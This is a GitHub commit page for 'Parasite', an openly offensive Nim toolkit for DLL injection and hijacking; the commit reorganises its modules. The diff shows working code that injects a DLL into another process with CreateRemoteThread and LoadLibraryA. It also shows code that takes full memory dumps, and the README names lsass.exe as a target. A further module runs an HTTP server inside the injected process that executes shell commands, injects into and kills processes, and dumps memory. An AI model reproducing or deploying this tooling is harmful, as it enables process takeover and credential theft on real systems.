Skip to content

Commit

Permalink
code cleanup 2
Browse files Browse the repository at this point in the history
  • Loading branch information
srozb committed Jul 15, 2024
1 parent d36a9d9 commit 9f0a374
Show file tree
Hide file tree
Showing 30 changed files with 275 additions and 267 deletions.
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,7 @@ Tired of boring dll injection tools? 🦠 Meet **Parasite**, a Nim-based library
## Parasite Highlights

* **Inject Delight:** Run code on DLL load (`DllMain`), optionally creating a separate thread and simulating necessary exports to satisfy the loader.
* **Temporarily Disabling Loader Lock for Thread Creation:** To avoid potential deadlocks when interacting with WinAPI functions like `CreateThread` and `WaitForSingleObject`, the [LoaderLock is temporarily disabled](https://github.com/srozb/parasite/blob/master/src/lockpick.nim#L16) during thread creation. This ensures seamless execution of these system calls without introducing synchronization conflicts.
* **Temporarily Disabling Loader Lock for Thread Creation:** To avoid potential deadlocks when interacting with WinAPI functions like `CreateThread` and `WaitForSingleObject`, the [LoaderLock is temporarily disabled](https://github.com/srozb/parasite/blob/master/src/parasite/lockpick.nim#L16) during thread creation. This ensures seamless execution of these system calls without introducing synchronization conflicts.
* **Remote Control**: Spin up an HTTP server within the injected process, enabling remote control and communication (perfect for targets like `lsass.exe`).
* **Process Playtime:** Dynamically load/unload dlls in running processes for on-the-fly modifications.
* **Memory Snapshot:** Capture a full snapshot of the target's memory using `dbghelp.dll`'s `MiniDumpWriteDump`.
Expand Down
4 changes: 2 additions & 2 deletions parasite.nimble
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# Package

version = "0.3.4"
version = "0.4.0"
author = "srozb"
description = "dll injection/hijack made fun"
license = "MIT"
Expand All @@ -11,7 +11,7 @@ namedBin = {
"parasite" : "parasite.dll",
"injector" : "injector.exe",
"httpserv" : "para_http.exe",
"dumper" : "para_dump.exe"
"dumper" : "dumper.exe"
}.toTable()

requires "nim >= 2.0.0, winim == 3.9.3, jester == 0.6.0, nimja == 0.8.7, https://github.com/enthus1ast/psutil-nim"
37 changes: 1 addition & 36 deletions src/dumper.nim
Original file line number Diff line number Diff line change
@@ -1,42 +1,7 @@
import winim

type
MINIDUMP_TYPE = enum
MiniDumpWithFullMemory = 0x00000002

proc MiniDumpWriteDump*(
hProcess: HANDLE,
processId: DWORD,
file: HANDLE,
dumpType: MINIDUMP_TYPE,
exceptionParam: PTR,
userStreamParam: PTR,
callbackParam: PTR
): BOOL {.importc: "MiniDumpWriteDump", dynlib: r"C:\Windows\System32\dbghelp.dll", stdcall.}

proc dumpToFile*(targetPid: int, dumpFile: string): bool =
result = false
var hProc = OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ, false, targetPid.DWORD)
if not bool(hProc):
raise newException(OSError, "Unable to obtain process handle.")
try:
var df = open(dumpFile, fmWrite)
result = bool(MiniDumpWriteDump(
hProc,
targetPid.DWORD,
df.getOsFileHandle(),
MiniDumpWithFullMemory,
NULL,
NULL,
NULL
))
df.close()
finally:
CloseHandle(hProc)

when isMainModule:
import os
import strutils
import parasite/dumper
if paramCount() != 2:
echo "usage: dumper <pid> <dump filename>"
quit(-1)
Expand Down
40 changes: 0 additions & 40 deletions src/environ.nim

This file was deleted.

125 changes: 1 addition & 124 deletions src/httpserv.nim
Original file line number Diff line number Diff line change
@@ -1,128 +1,5 @@
import htmlgen
import jester
import psapi
import nimja/parser
import os
import shell
import environ
import strtabs
import net
import injector
import strutils
when defined(wmi):
import wmi
when defined(dumper):
import dumper

const
BINDADDR = "127.0.0.1"
HTTPDIR = getScriptDir() / "http"
BULMACSS = staticRead HTTPDIR / "bulma.min.css"
HTMX = staticRead HTTPDIR / "htmx.min.js"

proc pickPort(minPort = 5000, tries=64): Port {.inline.} =
## Try to bind a port to determine if it can be used by http module. If port
## is used, increase port number and try again.
##
## Race condition might happen here if port is bound in between check and
## actual http server bind.
for i in minPort..(minPort+tries):
var server = newSocket()
try:
server.bindAddr(Port(i), address = BINDADDR)
server.listen()
server.close()
except OSError:
continue
return Port(i)

proc renderIndex(request: Request): string =
let envInfo = getEnvInfo()
compileTemplateFile HTTPDIR / "index.nwt"

proc renderModules(request: Request, mods: ModuleList): string =
let envInfo = getEnvInfo()
compileTemplateFile HTTPDIR / "modules.nwt"

proc renderProcesses(request: Request, ps: ProcessList): string =
let envInfo = getEnvInfo()
compileTemplateFile HTTPDIR / "processes.nwt"

proc renderShell(request: Request, cmd = ""): string = # TODO: separate the api request (command execution)
let envInfo = getEnvInfo()
var
output: string
exCode: int
if cmd != "":
(output, exCode) = runShell(cmd)
return output
else:
output = "Command output..."
compileTemplateFile HTTPDIR / "shell.nwt"

proc renderWmi(request: Request, namespace = "", query = ""): string =
let envInfo = getEnvInfo()
var output = "Query output..."
when defined(wmi):
if request.reqMethod == HttpPost:
output = queryWmi(namespace, query)
# echo namespace
# echo query
# echo output
compileTemplateFile HTTPDIR / "wmi.nwt"

router paraRoutes:
get "/":
resp renderIndex(request)
get "/modules":
let mods = getModulesInfo()
resp renderModules(request, mods)
get "/processes":
let ps = getRunningProcesses()
resp renderProcesses(request, ps)
post "/modules/load":
if loadModule(@"modname"):
redirect "/modules"
else:
resp p("unable to load module.")
delete "/modules/unload/@modName":
if unloadModule(@"modName"):
resp ""
else:
resp p("unable to unload module.") # TODO
get "/processes/dump/@targetPid":
when defined(dumper):
discard dumpToFile(@"targetPid".parseInt(), r"C:\Temp\image_" & @"targetPid" & ".dmp") # EXPERIMENTAL
redirect "/processes"
get "/processes/inject/@targetPid":
injectModule(@"targetPid".parseInt(), getMyPath())
redirect "/processes"
delete "/processes/kill/@targetPid":
terminatePid(@"targetPid".parseInt())
resp "" # TODO: check if success.
get "/shell":
resp renderShell(request)
put "/shell":
resp renderShell(request, @"cmd")
get "/wmi":
resp renderWmi(request)
post "/wmi":
resp renderWmi(request, @"namespace", @"query")
get "/quit":
terminateThread()
get "/bulma.min.css":
resp(content=BULMACSS, contentType="text/css;charset=utf=8")
get "/htmx.min.js":
resp(content=HTMX, contentType="application/javascript;charset=utf-8")

proc runHttpServ*() {.stdcall.} =
## Serve http module.
let port = pickPort()
let settings = newSettings(port=port, bindAddr=BINDADDR)
var jester = initJester(paraRoutes, settings=settings)
jester.serve()

when isMainModule:
import parasite/httpserv
proc NimMain*() {.cdecl, importc, exportc, dynlib, used.} # psapi getMyPath() requires it

runHttpServ()
52 changes: 2 additions & 50 deletions src/injector.nim
Original file line number Diff line number Diff line change
@@ -1,56 +1,8 @@
import winim

proc archMatch(hProcess: HANDLE): bool =
## Returns true if DLL architecture matches target process architecture.
var
isInjector64bit: BOOL
isTarget64bit: BOOL
discard IsWow64Process(GetCurrentProcess(), addr isInjector64bit)
discard IsWow64Process(hProcess, addr isTarget64bit)
return (isInjector64bit == isTarget64bit).bool

proc processWrite*(hProcess: HANDLE, buffer: string, protect: DWORD): LPVOID =
## Allocate memory and write string buffer within. Returns pointer to
## allocated memory address.
let
buf = winstrConverterStringToPtrChar(buffer & '\0')
bufSize = (len(buffer) + 1).SIZE_T
result = VirtualAllocEx(hProcess, NULL, bufSize, MEM_COMMIT or MEM_RESERVE, protect)
if WriteProcessMemory(hProcess, result, buf, bufSize, NULL) == 0:
raise newException(OSError, "WriteProcessMemory error: " & $GetLastError())

proc resolveFunc(modName, funcName: string): FARPROC =
## Returns pointer to given procedure.
var hModule = GetModuleHandleA(modName.LPCSTR)
result = GetProcAddress(hModule, funcName.LPCSTR)
CloseHandle(hModule)

proc injectModule*(pid: int, modName: string) =
## Inject DLL into foreign process. `modName` can be filename or absolute path.
let
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid.DWORD)
addrLoadLibraryA = resolveFunc("kernel32.dll", "LoadLibraryA")
pathAddr = processWrite(hProcess, modName, PAGE_READWRITE)
if not archMatch(hProcess):
raise newException(OSError, "Incompatible architecture (between injector and target process).")
let hRemoteThread = CreateRemoteThread(
hProcess,
cast[LPSECURITY_ATTRIBUTES](NULL),
0.SIZE_T,
cast[LPTHREAD_START_ROUTINE](addrLoadLibraryA),
pathAddr,
cast[DWORD](NULL),
cast[LPDWORD](NULL)
)
if hRemoteThread != 0.HANDLE:
discard WaitForSingleObject(hRemoteThread, 10000.DWORD)
VirtualFreeEx(hProcess, pathAddr, 0, MEM_RELEASE)
CloseHandle(hProcess)
CloseHandle(hRemoteThread)

when isMainModule:
import os
import strutils
import parasite/injector

if paramCount() != 2:
echo "usage: injector <pid> <dll>"
quit(-1)
Expand Down
6 changes: 3 additions & 3 deletions src/parasite.nim
Original file line number Diff line number Diff line change
@@ -1,9 +1,9 @@
import winim
import httpserv
import parasite/httpserv
when defined(fakeexports):
import fakeexports
import parasite/fakeexports
when defined(unlockloader):
import lockpick
import parasite/lockpick


proc NimMain() {.cdecl, importc.}
Expand Down
27 changes: 27 additions & 0 deletions src/parasite/consts.nim
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
import strutils
import std/[paths, macros]
import utils

proc getVer(): string {.compileTime.} =
## Returns parasite version string.
let nimble = staticRead(Path(getProjectPath()).parentDir() / "parasite.nimble")
for l in nimble.splitLines():
if l.strip().startsWith("version"):
return l.split('"')[1]
return "<unknown>"

proc getCompileEnv(): string {.compileTime.} =
## Returns compilation details for easier tracking.
let user = staticExec("whoami").strip()
let host = staticExec("hostname").strip()
return user & "@" & host

const
BINDADDR* = "127.0.0.1"
SCRIPTDIR* = getProjectPath()
HTTPDIR* = SCRIPTDIR / "parasite" / "http"
BULMACSS* = staticRead HTTPDIR / "bulma.min.css"
HTMX* = staticRead HTTPDIR / "htmx.min.js"
ARCH* = $(sizeof(int)*8)
VER* = getVer()
COMPILED* = getCompileEnv()
35 changes: 35 additions & 0 deletions src/parasite/dumper.nim
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
import winim

type
MINIDUMP_TYPE = enum
MiniDumpWithFullMemory = 0x00000002

proc MiniDumpWriteDump*(
hProcess: HANDLE,
processId: DWORD,
file: HANDLE,
dumpType: MINIDUMP_TYPE,
exceptionParam: PTR,
userStreamParam: PTR,
callbackParam: PTR
): BOOL {.importc: "MiniDumpWriteDump", dynlib: r"C:\Windows\System32\dbghelp.dll", stdcall.}

proc dumpToFile*(targetPid: int, dumpFile: string): bool =
result = false
var hProc = OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ, false, targetPid.DWORD)
if not bool(hProc):
raise newException(OSError, "Unable to obtain process handle.")
try:
var df = open(dumpFile, fmWrite)
result = bool(MiniDumpWriteDump(
hProc,
targetPid.DWORD,
df.getOsFileHandle(),
MiniDumpWithFullMemory,
NULL,
NULL,
NULL
))
df.close()
finally:
CloseHandle(hProc)
Loading

0 comments on commit 9f0a374

Please sign in to comment.